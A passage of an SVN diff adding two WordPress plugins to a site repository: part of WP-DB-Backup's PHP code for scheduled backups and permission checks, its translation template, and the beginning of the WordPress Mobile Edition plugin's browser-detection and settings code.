+				$next_cron = wp_next_scheduled('wp_db_backup_cron');
+				if ( ! empty( $next_cron ) ) :
+					?>
+					<p id="backup-time-wrap">
+					<?php printf(__('Next Backup: %s','wp-db-backup'), '<span id="next-backup-time">' . gmdate($datetime, $next_cron + (get_option('gmt_offset') * 3600)) . '</span>'); ?>
+					</p>
+					<?php 
+				endif;
+			elseif ( $cron_old ) :
+				?><p><?php printf(__('Last WP-Cron Daily Execution: %s','wp-db-backup'), gmdate($datetime, get_option('wp_cron_daily_lastrun') + (get_option('gmt_offset') * 3600))); ?><br /><?php 
+				printf(__('Next WP-Cron Daily Execution: %s','wp-db-backup'), gmdate($datetime, (get_option('wp_cron_daily_lastrun') + (get_option('gmt_offset') * 3600) + 86400))); ?></p><?php 
+			endif;
+			?><form method="post" action="">
+			<?php if ( function_exists('wp_nonce_field') ) wp_nonce_field($this->referer_check_key); ?>
+			<div class="tables-list">
+			<h4><?php _e('Schedule: ','wp-db-backup'); ?></h4>
+			<?php 
+			if ( $cron_old ) :
+				$wp_cron_backup_schedule = get_option('wp_cron_backup_schedule');
+				$schedule = array(0 => __('None','wp-db-backup'), 1 => __('Daily','wp-db-backup'));
+				foreach ($schedule as $value => $name) {
+					echo ' <input type="radio" style="border:none;" name="cron_schedule"';
+					if ($wp_cron_backup_schedule == $value) {
+						echo ' checked="checked" ';
+					}
+					echo 'value="' . $value . '" /> ' . $name;
+				}
+			elseif ( $cron ) :
+				echo apply_filters('wp_db_b_schedule_choices', wp_get_schedules() );
+			endif;
+			$cron_recipient = get_option('wp_cron_backup_recipient');
+			if (! is_email($cron_recipient)) {
+				$cron_recipient = get_option('admin_email');
+			}
+			$cron_recipient_input = '<p><label for="cron_backup_recipient">' . __('Email backup to:','wp-db-backup') . ' <input type="text" name="cron_backup_recipient" id="cron_backup_recipient" size="20" value="' . $cron_recipient . '" /></label></p>';
+			echo apply_filters('wp_db_b_cron_recipient_input', $cron_recipient_input);
+			echo '<p class="submit"><input type="submit" name="submit" value="' . __('Schedule backup','wp-db-backup') . '" /></p>';
+			echo '</div>';
+			$cron_tables = get_option('wp_cron_backup_tables');
+			if (! is_array($cron_tables)) {
+				$cron_tables = array();
+			}
+			if (count($other_tables) > 0) {
+				echo '<div class="tables-list alternate" id="include-tables-list">';
+				echo '<h4>' . __('Tables to include in the scheduled backup:','wp-db-backup') . '</h4><ul>';
+				foreach ($other_tables as $table) {
+					echo '<li><input type="checkbox" ';
+					if (in_array($table, $cron_tables)) {
+						echo 'checked="checked" ';
+					}
+					echo "name='wp_cron_backup_tables[]' value='{$table}' /> <code>{$table}</code></li>";
+				}
+				echo '</ul></div>';
+			}
+			echo '<input type="hidden" name="wp_cron_backup_options" value="SET" /></form>';
+			echo '</fieldset>';
+		endif; // end of wp_cron (legacy) section
+		
+		echo '</div><!-- .wrap -->';
+		
+	} // end wp_backup_menu()
+
+	function get_sched() {
+		$options = array_keys( (array) wp_get_schedules() );
+		$freq = get_option('wp_cron_backup_schedule'); 
+		$freq = ( in_array( $freq , $options ) ) ? $freq : 'never';
+		return $freq;
+	}
+
+	function schedule_choices($schedule) { // create the cron menu based on the schedule
+		$wp_cron_backup_schedule = $this->get_sched();
+		$next_cron = wp_next_scheduled('wp_db_backup_cron');
+		$wp_cron_backup_schedule = ( empty( $next_cron ) ) ? 'never' : $wp_cron_backup_schedule;
+		$sort = array();
+		foreach ( (array) $schedule as $key => $value ) $sort[$key] = $value['interval'];
+		asort( $sort );
+		$schedule_sorted = array();
+		foreach ( (array) $sort as $key => $value ) $schedule_sorted[$key] = $schedule[$key];
+		$menu = '<ul>';
+		$schedule = array_merge( array( 'never' => array( 'interval' => 0, 'display' => __('Never','wp-db-backup') ) ),
+			(array) $schedule_sorted );
+		foreach ( $schedule as $name => $settings) {
+			$interval = (int) $settings['interval'];
+			if ( 0 == $interval && ! 'never' == $name ) continue;
+			$display = ( ! '' == $settings['display'] ) ? $settings['display'] : sprintf(__('%s seconds','wp-db-backup'),$interval);
+			$menu .= "<li><input type='radio' name='wp_cron_schedule' style='border:none;' ";
+			if ($wp_cron_backup_schedule == $name) {
+				$menu .= " checked='checked' ";
+			}
+			$menu .= "value='$name' /> $display</li>";
+		}
+		$menu .= '</ul>';
+		return $menu;
+	} // end schedule_choices()
+	
+	function wp_cron_daily() { // for legacy cron plugin
+		$schedule = intval(get_option('wp_cron_backup_schedule'));
+		// If scheduled backup is disabled
+		if (0 == $schedule)
+		        return;
+		else return $this->cron_backup();
+	} 
+
+	function cron_backup() {
+		global $table_prefix, $wpdb;
+		$all_tables = $wpdb->get_results("SHOW TABLES", ARRAY_N);
+		$all_tables = array_map(create_function('$a', 'return $a[0];'), $all_tables);
+		$core_tables = array_intersect($all_tables, $this->core_table_names);
+		$other_tables = get_option('wp_cron_backup_tables');
+		$recipient = get_option('wp_cron_backup_recipient');
+		$backup_file = $this->db_backup($core_tables, $other_tables);
+		if (false !== $backup_file) 
+			return $this->deliver_backup($backup_file, 'smtp', $recipient, 'main');
+		else return false;
+	}
+
+	function add_sched_options($sched) {
+		$sched['weekly'] = array('interval' => 604800, 'display' => __('Once Weekly','wp-db-backup'));
+		return $sched;
+	}
+
+	/**
+	 * Checks that WordPress has sufficient security measures 
+	 * @param string $kind
+	 * @return bool
+	 */
+	function wp_secure($kind = 'warn', $loc = 'main') {
+		global $wp_version;
+		if ( function_exists('wp_verify_nonce') ) return true;
+		else {
+			$this->error(array('kind' => $kind, 'loc' => $loc, 'msg' => sprintf(__('Your WordPress version, %1s, lacks important security features without which it is unsafe to use the WP-DB-Backup plugin.  Hence, this plugin is automatically disabled.  Please consider <a href="%2s">upgrading WordPress</a> to a more recent version.','wp-db-backup'),$wp_version,'http://wordpress.org/download/')));
+			return false;
+		}
+	}
+
+	/**
+	 * Checks that the user has sufficient permission to backup
+	 * @param string $loc
+	 * @return bool
+	 */
+	function can_user_backup($loc = 'main') {
+		$can = false;
+		// make sure WPMU users are site admins, not ordinary admins
+		if ( function_exists('is_site_admin') && ! is_site_admin() )
+			return false;
+		if ( ( $this->wp_secure('fatal', $loc) ) && current_user_can('import') )
+			$can = $this->verify_nonce($_REQUEST['_wpnonce'], $this->referer_check_key, $loc);
+		if ( false == $can ) 
+			$this->error(array('loc' => $loc, 'kind' => 'fatal', 'msg' => __('You are not allowed to perform backups.','wp-db-backup')));
+		return $can;
+	}
+
+	/**
+	 * Verify that the nonce is legitimate
+	 * @param string $rec 	the nonce received
+	 * @param string $nonce	what the nonce should be
+	 * @param string $loc 	the location of the check
+	 * @return bool
+	 */
+	function verify_nonce($rec = '', $nonce = 'X', $loc = 'main') {
+		if ( wp_verify_nonce($rec, $nonce) )
+			return true;
+		else 
+			$this->error(array('loc' => $loc, 'kind' => 'fatal', 'msg' => sprintf(__('There appears to be an unauthorized attempt from this site to access your database located at %1s.  The attempt has been halted.','wp-db-backup'),get_option('home'))));
+	}
+
+	/**
+	 * Check whether a file to be downloaded is  
+	 * surreptitiously trying to download a non-backup file
+	 * @param string $file
+	 * @return null
+	 */ 
+	function validate_file($file) {
+		if ( (false !== strpos($file, '..')) || (false !== strpos($file, './')) || (':' == substr($file, 1, 1)) )
+			$this->error(array('kind' => 'fatal', 'loc' => 'frame', 'msg' => __("Cheatin' uh ?",'wp-db-backup')));
+	}
+
+}
+
+function wpdbBackup_init() {
+	global $mywpdbbackup;
+	$mywpdbbackup = new wpdbBackup(); 	
+}
+
+add_action('plugins_loaded', 'wpdbBackup_init');
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-db-backup/wp-db-backup.pot
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-db-backup/wp-db-backup.pot	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-db-backup/wp-db-backup.pot	(revision 44)
@@ -0,0 +1,404 @@
+# WP-DB-Backup
+# Copyright (C) 2008 Austin Matzko
+# This file is distributed under the GPL 2 license.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: PACKAGE VERSION\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-08-15 11:00-0500\n"
+"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
+"Last-Translator: Austin Matzko if.website at gmail.com\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=CHARSET\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#: wp-db-backup.php:181
+msgid "Backup Complete!"
+msgstr ""
+
+#: wp-db-backup.php:211
+msgid "Progress"
+msgstr ""
+
+#: wp-db-backup.php:213
+msgid "DO NOT DO THE FOLLOWING AS IT WILL CAUSE YOUR BACKUP TO FAIL:"
+msgstr ""
+
+#: wp-db-backup.php:216
+msgid "Close this browser"
+msgstr ""
+
+#: wp-db-backup.php:217
+msgid "Reload this page"
+msgstr ""
+
+#: wp-db-backup.php:218
+msgid "Click the Stop or Back buttons in your browser"
+msgstr ""
+
+#: wp-db-backup.php:220
+msgid "Progress:"
+msgstr ""
+
+#: wp-db-backup.php:229
+msgid "Navigating away from this page will cause your backup to fail."
+msgstr ""
+
+#: wp-db-backup.php:266
+#, php-format
+msgid ""
+"Backup complete, preparing <a href=\\\"%s\\\">backup</a> for download..."
+msgstr ""
+
+#: wp-db-backup.php:273
+#, php-format
+msgid "Backup complete, sending <a href=\\\"%s\\\">backup</a> via email..."
+msgstr ""
+
+#: wp-db-backup.php:280
+#, php-format
+msgid "Backup complete, download <a href=\\\"%s\\\">here</a>."
+msgstr ""
+
+#: wp-db-backup.php:340
+msgid "Creating backup file..."
+msgstr ""
+
+#: wp-db-backup.php:343
+#, php-format
+msgid "Finished backing up table \\\"%s\\\"."
+msgstr ""
+
+#: wp-db-backup.php:345
+#, php-format
+msgid "Backing up table \\\"%s\\\"..."
+msgstr ""
+
+#: wp-db-backup.php:352 wp-db-backup.php:835
+msgid "Could not open the backup file for writing!"
+msgstr ""
+
+#: wp-db-backup.php:353
+msgid ""
+"The backup file could not be saved.  Please check the permissions for "
+"writing to your backup directory and try again."
+msgstr ""
+
+#: wp-db-backup.php:358 wp-db-backup.php:844
+msgid "WordPress MySQL database backup"
+msgstr ""
+
+#: wp-db-backup.php:360 wp-db-backup.php:846
+#, php-format
+msgid "Generated: %s"
+msgstr ""
+
+#: wp-db-backup.php:361 wp-db-backup.php:847
+#, php-format
+msgid "Hostname: %s"
+msgstr ""
+
+#: wp-db-backup.php:362 wp-db-backup.php:848
+#, php-format
+msgid "Database: %s"
+msgstr ""
+
+#: wp-db-backup.php:370 wp-db-backup.php:861
+#, php-format
+msgid "Table: %s"
+msgstr ""
+
+#: wp-db-backup.php:377
+msgid ""
+"The backup directory is not writeable!  Please check the permissions for "
+"writing to your backup directory and try again."
+msgstr ""
+
+#: wp-db-backup.php:434
+msgid "Click and hold down <code>[SHIFT]</code> to toggle multiple checkboxes"
+msgstr ""
+
+#: wp-db-backup.php:474
+msgid "Change"
+msgstr ""
+
+#: wp-db-backup.php:483
+msgid "Save"
+msgstr ""
+
+#: wp-db-backup.php:566 wp-db-backup.php:571 wp-db-backup.php:1126
+msgid "Backup"
+msgstr ""
+
+#: wp-db-backup.php:646 wp-db-backup.php:649
+msgid "There was an error writing a line to the backup script:"
+msgstr ""
+
+#: wp-db-backup.php:681
+msgid "Subsequent errors have been omitted from this log."
+msgstr ""
+
+#: wp-db-backup.php:715
+msgid "Error getting table details"
+msgstr ""
+
+#: wp-db-backup.php:723
+#, php-format
+msgid "Delete any existing table %s"
+msgstr ""
+
+#: wp-db-backup.php:732
+#, php-format
+msgid "Table structure of table %s"
+msgstr ""
+
+#: wp-db-backup.php:738
+#, php-format
+msgid "Error with SHOW CREATE TABLE for %s."
+msgstr ""
+
+#: wp-db-backup.php:745
+#, php-format
+msgid "Error getting table structure of %s"
+msgstr ""
+
+#: wp-db-backup.php:753
+#, php-format
+msgid "Data contents of table %s"
+msgstr ""
+
+#: wp-db-backup.php:823
+#, php-format
+msgid "End of data contents of table %s"
+msgstr ""
+
+#: wp-db-backup.php:839
+msgid "The backup directory is not writeable!"
+msgstr ""
+
+#: wp-db-backup.php:974
+#, php-format
+msgid "File not found:%s"
+msgstr ""
+
+#: wp-db-backup.php:974
+msgid "Return to Backup"
+msgstr ""
+
+#: wp-db-backup.php:983
+#, php-format
+msgid "File %s does not exist!"
+msgstr ""
+
+#: wp-db-backup.php:990
+#, php-format
+msgid ""
+"Attached to this email is\n"
+"   %1s\n"
+"   Size:%2s kilobytes\n"
+msgstr ""
+
+#: wp-db-backup.php:991
+msgid "Database Backup"
+msgstr ""
+
+#: wp-db-backup.php:994 wp-db-backup.php:1041
+msgid "The following errors were reported:"
+msgstr ""
+
+#: wp-db-backup.php:999
+msgid "ERROR: The mail application has failed to deliver the backup."
+msgstr ""
+
+#: wp-db-backup.php:1016
+msgid "Backup Successful"
+msgstr ""
+
+#: wp-db-backup.php:1020
+#, php-format
+msgid ""
+"Your backup file: <a href=\"%1s\">%2s</a> should begin downloading shortly."
+msgstr ""
+
+#: wp-db-backup.php:1028
+#, php-format
+msgid "Your backup has been emailed to %s"
+msgstr ""
+
+#: wp-db-backup.php:1031
+msgid ""
+"Your backup file has been saved on the server. If you would like to download "
+"it now, right click and select \"Save As\""
+msgstr ""
+
+#: wp-db-backup.php:1032
+#, php-format
+msgid "%s bytes"
+msgstr ""
+
+#: wp-db-backup.php:1068
+msgid "Scheduled Backup Options Saved!"
+msgstr ""
+
+#: wp-db-backup.php:1095
+msgid ""
+"WARNING: Your backup directory does <strong>NOT</strong> exist, and we "
+"cannot create it."
+msgstr ""
+
+#: wp-db-backup.php:1096
+#, php-format
+msgid "Using your FTP client, try to create the backup directory yourself: %s"
+msgstr ""
+
+#: wp-db-backup.php:1100 wp-db-backup.php:1111
+msgid ""
+"WARNING: Your backup directory is <strong>NOT</strong> writable! We cannot "
+"create the backup files."
+msgstr ""
+
+#: wp-db-backup.php:1101
+#, php-format
+msgid ""
+"Using your FTP client, try to set the backup directory&rsquo;s write "
+"permission to %1$s or %2$s: %3$s"
+msgstr ""
+
+#: wp-db-backup.php:1113
+msgid ""
+"This problem seems to be caused by your server&rsquo;s <code>safe_mode</"
+"code> file ownership restrictions, which limit what files web applications "
+"like WordPress can create."
+msgstr ""
+
+#: wp-db-backup.php:1115
+#, php-format
+msgid ""
+"You can try to correct this problem by using your FTP client to delete and "
+"then re-create the backup directory: %s"
+msgstr ""
+
+#: wp-db-backup.php:1129
+msgid "Tables"
+msgstr ""
+
+#: wp-db-backup.php:1131
+msgid "These core WordPress tables will always be backed up:"
+msgstr ""
+
+#: wp-db-backup.php:1136
+msgid "Exclude spam comments"
+msgstr ""
+
+#: wp-db-backup.php:1139
+msgid "Exclude post revisions"
+msgstr ""
+
+#: wp-db-backup.php:1150
+msgid "You may choose to include any of the following tables:"
+msgstr ""
+
+#: wp-db-backup.php:1164
+msgid "Backup Options"
+msgstr ""
+
+#: wp-db-backup.php:1165
+msgid "What to do with the backup file:"
+msgstr ""
+
+#: wp-db-backup.php:1169
+msgid "Save to server"
+msgstr ""
+
+#: wp-db-backup.php:1174
+msgid "Download to your computer"
+msgstr ""
+
+#: wp-db-backup.php:1178 wp-db-backup.php:1235
+msgid "Email backup to:"
+msgstr ""
+
+#: wp-db-backup.php:1185
+msgid "Backup now!"
+msgstr ""
+
+#: wp-db-backup.php:1188
+msgid "WARNING: Your backup directory is <strong>NOT</strong> writable!"
+msgstr ""
+
+#: wp-db-backup.php:1199
+msgid "Scheduled Backup"
+msgstr ""
+
+#: wp-db-backup.php:1206
+#, php-format
+msgid "Next Backup: %s"
+msgstr ""
+
+#: wp-db-backup.php:1211
+#, php-format
+msgid "Last WP-Cron Daily Execution: %s"
+msgstr ""
+
+#: wp-db-backup.php:1212
+#, php-format
+msgid "Next WP-Cron Daily Execution: %s"
+msgstr ""
+
+#: wp-db-backup.php:1217
+msgid "Schedule: "
+msgstr ""
+
+#: wp-db-backup.php:1220
+msgid "None"
+msgstr ""
+
+#: wp-db-backup.php:1220
+msgid "Daily"
+msgstr ""
+
+#: wp-db-backup.php:1243
+msgid "Tables to include in the scheduled backup:"
+msgstr ""
+
+#: wp-db-backup.php:1253
+msgid "Schedule backup"
+msgstr ""
+
+#: wp-db-backup.php:1278
+msgid "Never"
+msgstr ""
+
+#: wp-db-backup.php:1283
+#, php-format
+msgid "%s seconds"
+msgstr ""
+
+#: wp-db-backup.php:1316
+msgid "Once Weekly"
+msgstr ""
+
+#: wp-db-backup.php:1329
+#, php-format
+msgid ""
+"Your WordPress version, %1s, lacks important security features without which "
+"it is unsafe to use the WP-DB-Backup plugin.  Hence, this plugin is "
+"automatically disabled.  Please consider <a href=\"%2s\">upgrading "
+"WordPress</a> to a more recent version."
+msgstr ""
+
+#: wp-db-backup.php:1347
+msgid "You are not allowed to perform backups."
+msgstr ""
+
+#: wp-db-backup.php:1362
+#, php-format
+msgid ""
+"There appears to be an unauthorized attempt from this site to access your "
+"database located at %1s.  The attempt has been halted."
+msgstr ""
+
+#: wp-db-backup.php:1373
+msgid "Cheatin' uh ?"
+msgstr ""
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wp-mobile.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wp-mobile.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wp-mobile.php	(revision 44)
@@ -0,0 +1,464 @@
+<?php
+
+/*
+Plugin Name: WordPress Mobile Edition 
+Plugin URI: http://crowdfavorite.com/wordpress/ 
+Description: Show your mobile visitors a site presentation designed just for them. Rich experience for iPhone, Android, etc. and clean simple formatting for less capable mobile browsers. Cache-friendly with a Carrington-based theme, and progressive enhancement for advanced mobile browsers.  
+Version: 3.1
+Author: Crowd Favorite
+Author URI: http://crowdfavorite.com
+*/
+
+// WordPress Mobile Edition
+//
+// Copyright (c) 2002-2009 Crowd Favorite, Ltd.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// *****************************************************************
+
+// ini_set('display_errors', '1'); ini_set('error_reporting', E_ALL);
+
+define('CF_MOBILE_THEME', 'carrington-mobile-1.0.2');
+
+if (!defined('PLUGINDIR')) {
+	define('PLUGINDIR','wp-content/plugins');
+}
+
+load_plugin_textdomain('cf-mobile');
+
+if (is_file(trailingslashit(ABSPATH.PLUGINDIR).'wp-mobile.php')) {
+	define('CFMOBI_FILE', trailingslashit(ABSPATH.PLUGINDIR).'wp-mobile.php');
+}
+else if (is_file(trailingslashit(ABSPATH.PLUGINDIR).'wordpress-mobile-edition/wp-mobile.php')) {
+	define('CFMOBI_FILE', trailingslashit(ABSPATH.PLUGINDIR).'wordpress-mobile-edition/wp-mobile.php');
+}
+
+register_activation_hook(CFMOBI_FILE, 'cfmobi_install');
+
+function cfmobi_default_browsers($type = 'mobile') {
+	$mobile = array(
+		'2.0 MMP',
+		'240x320',
+		'400X240',
+		'AvantGo',
+		'BlackBerry',
+		'Blazer',
+		'Cellphone',
+		'Danger',
+		'DoCoMo',
+		'Elaine/3.0',
+		'EudoraWeb',
+		'Googlebot-Mobile',
+		'hiptop',
+		'IEMobile',
+		'KYOCERA/WX310K',
+		'LG/U990',
+		'MIDP-2.',
+		'MMEF20',
+		'MOT-V',
+		'NetFront',
+		'Newt',
+		'Nintendo Wii',
+		'Nitro', // Nintendo DS
+		'Nokia',
+		'Opera Mini',
+		'Palm',
+		'PlayStation Portable',
+		'portalmmm',
+		'Proxinet',
+		'ProxiNet',
+		'SHARP-TQ-GX10',
+		'SHG-i900',
+		'Small',
+		'SonyEricsson',
+		'Symbian OS',
+		'SymbianOS',
+		'TS21i-10',
+		'UP.Browser',
+		'UP.Link',
+		'webOS', // Palm Pre, etc.
+		'Windows CE',
+		'WinWAP',
+		'YahooSeeker/M1A1-R2D2',
+	);
+	$touch = array(
+		'iPhone',
+		'iPod',
+		'Android',
+		'BlackBerry9530',
+		'LG-TU915 Obigo', // LG touch browser
+		'LGE VX',
+		'webOS', // Palm Pre, etc.
+		'Nokia5800',
+	);
+	switch ($type) {
+		case 'mobile':
+		case 'touch':
+			return $$type;
+	}
+}
+
+$mobile = explode("\n", trim(get_option('cfmobi_mobile_browsers')));
+$cfmobi_mobile_browsers = apply_filters('cfmobi_mobile_browsers', $mobile);
+$touch = explode("\n", trim(get_option('cfmobi_touch_browsers')));
+$cfmobi_touch_browsers = apply_filters('cfmobi_touch_browsers', $touch);
+
+function cfmobi_install() {
+	global $cfmobi_default_mobile_browsers;
+	add_option('cfmobi_mobile_browsers', implode("\n", cfmobi_default_browsers('mobile')));
+	global $cfmobi_default_touch_browsers;
+	add_option('cfmobi_touch_browsers', implode("\n", cfmobi_default_browsers('touch')));
+}
+
+function cfmobi_init() {
+	global $cfmobi_mobile_browsers, $cfmobi_touch_browsers;
+	if (is_admin() && !cfmobi_installed()) {
+		global $wp_version;
+		if (isset($wp_version) && version_compare($wp_version, '2.9', '>=')) {
+			add_action('admin_notices', create_function( '', "echo '<div class=\"error\"><p>WP Mobile is incorrectly installed. Please check the <a href=\"http://alexking.org/projects/wordpress/readme?project=wordpress-mobile-edition\">README</a>.</p></div>';" ) );
+		}
+	}
+	if (isset($_COOKIE['cf_mobile']) && $_COOKIE['cf_mobile'] == 'false') {
+		add_action('the_content', 'cfmobi_mobile_available');
+	}
+}
+add_action('init', 'cfmobi_init');
+
+function cfmobi_check_mobile() {
+	global $cfmobi_mobile_browsers, $cfmobi_touch_browsers;
+	$mobile = null;
+	if (!isset($_SERVER["HTTP_USER_AGENT"]) || (isset($_COOKIE['cf_mobile']) && $_COOKIE['cf_mobile'] == 'false')) {
+		$mobile = false;
+	}
+	else if (isset($_COOKIE['cf_mobile']) && $_COOKIE['cf_mobile'] == 'true') {
+		$mobile = true;
+	}
+	$browsers = array_merge($cfmobi_mobile_browsers, $cfmobi_touch_browsers);
+	if (is_null($mobile) && count($browsers)) {
+		foreach ($browsers as $browser) {
+			if (!empty($browser) && strpos($_SERVER["HTTP_USER_AGENT"], trim($browser)) !== false) {
+				$mobile = true;
+			}
+		}
+	}
+	if (is_null($mobile)) {
+		$mobile = false;
+	}
+	return apply_filters('cfmobi_check_mobile', $mobile);
+}
+
+if (cfmobi_check_mobile()) {
+	add_filter('template', 'cfmobi_template');
+	add_filter('option_template', 'cfmobi_template');
+	add_filter('option_stylesheet', 'cfmobi_template');
+}
+
+function cfmobi_template($theme) {
+	if (cfmobi_installed()) {
+		return apply_filters('cfmobi_template', CF_MOBILE_THEME);
+	}
+	else {
+		return $theme;
+	}
+}
+
+function cfmobi_installed() {
+	return is_dir(ABSPATH.'/wp-content/themes/'.CF_MOBILE_THEME);
+}
+
+function cfmobi_mobile_exit() {
+	echo '<p><a href="'.trailingslashit(get_bloginfo('home')).'?cf_action=reject_mobile">Esci dalla Edizione per Cellulare </a> <span class="small">(vai alla versione standard del browser)</span>.</p>';
+}
+
+function cfmobi_mobile_available($content) {
+	if (!defined('WPCACHEHOME')) {
+		$content = $content.'<p><a href="'.trailingslashit(get_bloginfo('home')).'?cf_action=show_mobile">Ritorna all\'Edizione per Cellulare</a>.</p>';
+	}
+	return $content;
+}
+
+function cfmobi_mobile_link() {
+	if (!defined('WPCACHEHOME')) {
+		echo '<a href="'.trailingslashit(get_bloginfo('home')).'?cf_action=show_mobile">Mobile Editione</a>';
+	}
+}
+
+// TODO - add sidebar widget for link, with some sort of graphic?
+
+function cfmobi_request_handler() {
+	if (!empty($_GET['cf_action'])) {
+		$url = parse_url(get_bloginfo('home'));
+		$domain = $url['host'];
+		if (!empty($url['path'])) {
+			$path = $url['path'];
+		}
+		else {
+			$path = '/';
+		}
+		$redirect = false;
+		switch ($_GET['cf_action']) {
+			case 'cfmobi_admin_js':
+				cfmobi_admin_js();
+				break;
+			case 'cfmobi_admin_css':
+				cfmobi_admin_css();
+				die();
+				break;
+			case 'reject_mobile':
+				setcookie(
+					'cf_mobile'
+					, 'false'
+					, time() + 300000
+					, $path
+					, $domain
+				);
+				$redirect = true;
+				break;
+			case 'show_mobile':
+				setcookie(
+					'cf_mobile'
+					, 'true'
+					, time() + 300000
+					, $path
+					, $domain
+				);
+				$redirect = true;
+				break;
+			case 'cfmobi_who':
+				if (current_user_can('manage_options')) {
+					header("Content-type: text/plain");
+					echo sprintf(__('Browser: %s', 'cf-mobile'), strip_tags($_SERVER['HTTP_USER_AGENT']));
+					die();
+				}
+				break;
+		}
+		if ($redirect) {
+			if (!empty($_SERVER['HTTP_REFERER'])) {
+				$go = $_SERVER['HTTP_REFERER'];
+			}
+			else {
+				$go = get_bloginfo('home');
+			}
+			header('Location: '.$go);
+			die();
+		}
+	}
+	if (!empty($_POST['cf_action'])) {
+		switch ($_POST['cf_action']) {
+			case 'cfmobi_update_settings':
+				cfmobi_save_settings();
+				wp_redirect(trailingslashit(get_bloginfo('wpurl')).'wp-admin/options-general.php?page=wp-mobile.php&updated=true');
+				die();
+				break;
+		}
+	}
+}
+add_action('init', 'cfmobi_request_handler');
+
+function cfmobi_admin_js() {
+	global $cfmobi_default_mobile_browsers, $cfmobi_default_touch_browsers;
+	header('Content-type: text/javascript');
+	$mobile = str_replace(array("'","\r", "\n"), array("\'", '', ''), implode('\\n', cfmobi_default_browsers('mobile')));
+	$touch = str_replace(array("'","\r", "\n"), array("\'", '', ''), implode('\\n', cfmobi_default_browsers('touch')));
+?>
+jQuery(function($) {
+	$('#cfmobi_mobile_reset').click(function() {
+		$('#cfmobi_mobile_browsers').val('<?php echo $mobile; ?>');
+		return false;
+	});
+	$('#cfmobi_touch_reset').click(function() {
+		$('#cfmobi_touch_browsers').val('<?php echo $touch; ?>');
+		return false;
+	});
+});
+<?php
+	die();
+}
+if (is_admin()) {
+	wp_enqueue_script('cfmobi_admin_js', trailingslashit(get_bloginfo('url')).'?cf_action=cfmobi_admin_js', array('jquery'));
+}
+
+function cfmobi_admin_css() {
+	header('Content-type: text/css');
+?>
+fieldset.options div.option {
+	background: #EAF3FA;
+	margin-bottom: 8px;
+	padding: 10px;
+}
+fieldset.options div.option label {
+	display: block;
+	float: left;
+	font-weight: bold;
+	margin-right: 10px;
+	width: 150px;
+}
+fieldset.options div.option span.help {
+	color: #666;
+	font-size: 11px;
+	margin-left: 8px;
+}
+#cfmobi_mobile_browsers, #cfmobi_touch_browsers {
+	height: 200px;
+	width: 300px;
+}
+#cfmobi_mobile_reset, #cfmobi_touch_reset {
+	display: block;
+	font-size: 11px;
+	font-weight: normal;
+}
+<?php
+	die();
+}
+
+function cfmobi_admin_head() {
+	echo '<link rel="stylesheet" type="text/css" href="'.trailingslashit(get_bloginfo('url')).'?cf_action=cfmobi_admin_css" />';
+}
+add_action('admin_head', 'cfmobi_admin_head');
+
+$cfmobi_settings = array(
+	'cfmobi_mobile_browsers' => array(
+		'type' => 'textarea',
+		'label' => 'Mobile Browsers <a href="#" id="cfmobi_mobile_reset">Reset to Default</a>',
+		'default' => cfmobi_default_browsers('mobile'),
+		'help' => '',
+	),
+	'cfmobi_touch_browsers' => array(
+		'type' => 'textarea',
+		'label' => 'Touch Browsers <a href="#" id="cfmobi_touch_reset">Reset to Default</a>',
+		'default' => cfmobi_default_browsers('touch'),
+		'help' => '(iPhone, Android G1, BlackBerry Storm, etc.)',
+	),
+);
+
+function cfmobi_setting($option) {
+	$value = get_option($option);
+	if (empty($value)) {
+		global $cfmobi_settings;
+		$value = $cfmobi_settings[$option]['default'];
+	}
+	return $value;
+}
+
+function cfmobi_admin_menu() {
+	if (current_user_can('manage_options')) {
+		add_options_page(
+			__('WordPress Mobile Edition', 'cf-mobile')
+			, __('Mobile', 'cf-mobile')
+			, 10
+			, basename(__FILE__)
+			, 'cfmobi_settings_form'
+		);
+	}
+}
+add_action('admin_menu', 'cfmobi_admin_menu');
+
+function cfmobi_plugin_action_links($links, $file) {
+	$plugin_file = basename(__FILE__);
+	if ($file == $plugin_file) {
+		$settings_link = '<a href="options-general.php?page='.$plugin_file.'">'.__('Settings', 'cf-mobile').'</a>';
+		array_unshift($links, $settings_link);
+	}
+	return $links;
+}
+add_filter('plugin_action_links', 'cfmobi_plugin_action_links', 10, 2);
+
+if (!function_exists('cf_settings_field')) {
+	function cf_settings_field($key, $config) {
+		$option = get_option($key);
+		$label = '<label for="'.$key.'">'.$config['label'].'</label>';
+		$help = '<span class="help">'.$config['help'].'</span>';
+		switch ($config['type']) {
+			case 'select':
+				$output = $label.'<select name="'.$key.'" id="'.$key.'">';
+				foreach ($config['options'] as $val => $display) {
+					$option == $val ? $sel = ' selected="selected"' : $sel = '';
+					$output .= '<option value="'.$val.'"'.$sel.'>'.htmlspecialchars($display).'</option>';
+				}
+				$output .= '</select>'.$help;
+				break;
+			case 'textarea':
+				if (is_array($option)) {
+					$option = implode("\n", $option);
+				}
+				$output = $label.'<textarea name="'.$key.'" id="'.$key.'">'.htmlspecialchars($option).'</textarea>'.$help;
+				break;
+			case 'string':
+			case 'int':
+			default:
+				$output = $label.'<input name="'.$key.'" id="'.$key.'" value="'.htmlspecialchars($option).'" />'.$help;
+				break;
+		}
+		return '<div class="option">'.$output.'<div class="clear"></div></div>';
+	}
+}
+
+function cfmobi_settings_form() {
+	global $cfmobi_settings;
+	print('
+<div class="wrap">
+	<h2>'.__('WordPress Mobile Edition', 'cf-mobile').'</h2>
+	<form id="cfmobi_settings_form" name="cfmobi_settings_form" action="'.get_bloginfo('wpurl').'/wp-admin/options-general.php" method="post">
+		<input type="hidden" name="cf_action" value="cfmobi_update_settings" />
